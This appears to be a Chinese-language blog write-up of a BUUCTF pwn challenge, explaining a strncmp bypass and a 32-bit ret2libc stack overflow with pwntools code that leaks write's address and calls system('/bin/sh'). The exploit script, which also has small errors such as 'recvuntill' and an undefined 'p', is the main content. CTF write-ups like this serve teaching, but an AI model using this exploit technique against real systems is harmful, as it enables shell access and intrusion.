本文已参与「新人创作礼」活动,一起开启掘金创作之路
我们在之前的机器中,通常就是利用一段程序中代码段下已有的指令来实现我们得到flag或者拿下shell的目的。但是抛出了一个问题,如果程序中没有危险语句,就无从下手。
所以,此次我们引出了一个概念,动态链接库libc。这也解决了我一直以来的问题,为什么call的函数点进去只能看到return,因为声明的函数并不在代码的cs段内,而是应用了随机化存储,存在内存的其他地方了。
之后通过某些方法调用,这个某些方法这事以后的事情了。闲话少叙,我们开始今天的日行一pwn。
开始
例行检查,开启了代码段不可执行和设置got和plt表为只读。
并且题里给出了编译软件所使用的库文件。
代码分析
main函数
打开一个随机数文件然后读一个随机数给buf之后传到v2代表的函数中
第一个函数
之前的随机数给了a1,然后将s和buf初始化为0,之后把a1的数据转化为长整型传给s。
之后用v5接受一个用户输入字符长度为32以内的字符,并在最后加上0方便之后的strlen获取长度。
再然后比较随机字符串和用户输入字符串,将用户输入字符串长度作为比较长度。不一样则退出。
一样则打印correct,并返回主函数buf的第七位
漏洞点利用
如何绕过这个strncmp使它不进入exit退出程序成为了绕过这个函数的关键点。由于既不可能和随机数出一样的数。随意干脆就不要让他比较。直接第一个数就给一个0,就能实现直接绕过strncmp,从而不进入exit
第二个函数
之前返回的我们自己输入函数的第七位会被作为参数a1输入进这个函数
定义了一个231长度的buf,是这个函数中唯一的变量,直接通向栈顶。
之后进一个判断。a1等于127则只能输入200个字节,但是显然是不足以覆盖栈的
所以直接让a1到达一个字节的最大数ff也就是255
构造EXP
几个核心注意点
- 绕过第一个函数,从而进入第二个函数
- 第一个函数的第七位设置为ff从而进入第二个函数的漏洞点
- 程序中没有漏洞offset所以需要使用动态程序库中的字段
- 字段位置可以通过已经使用的函数的偏移量来进行一个推测
以上,开始构造我们的EXP
首先设置目标。并加载文件,下面提及的plt和got大家可以暂时先不用理解,等之后遇到需要进一步应用这两个表的时候再进一步理解。这里只需要知道程序是通过这种方式找到动态链接库中的地址就好了。
from pwn import *
r = remote('node4.buuoj.cn','28813')
libc = ELF('./libc-2.23.so')
elf = ELF('./pwn')
write_plt = elf.plt['write']
write_got = elf.got['write']
main = 0x08048825
然后构造payload,由于有两个输入点,我们需要进行两次输入
payload_a = "\x00" + "AAAAAA" + "\xff"
r.sendline(payload_a)
r.recvuntill("Correct\n")
payload_b = "A" * 231 + "AAAA" + p32(write_plt) + p32(main) + p32(1) + p32(write_got) + p32(0x8)
r.sendline(payload_b)
其中第一次输入可以看到使用0来绕过strlen,并在第七位放上ff来保证第二次输入长度足够
第二次输入首先使用231个A来覆盖栈内存,之后使用4个A来覆盖EBP,然后使用plt调用write函数,接着把函数返回地址压入栈,接下来三个值是write函数的参数,1表示输出到屏幕,write_got是返回write函数的入口地址,8则是输出8位,32位系统中偏移地址是8位的。
接着,我们已经拿到了write函数在内存中的随机位置,那么就能算出整体libc库在内存中的位置,从而得到我们需要的函数的位置了
write_offset = u32(p.recv(4))
offset = write_offset - libc.sym['write']
system_offset = offset + libc.sym['system']
shell_offset = offset + libc.search('/bin/sh').next()
最后把我们整理出来的东西一股脑发出去即可
r.sendline(payload_a)
r.recvuntil('Correct\n')
payload_c = "A" * 231 + "AAAA" + p32(system_offset) + p32(main) +p32(shell_offset)
r.sendline(payload_c)
\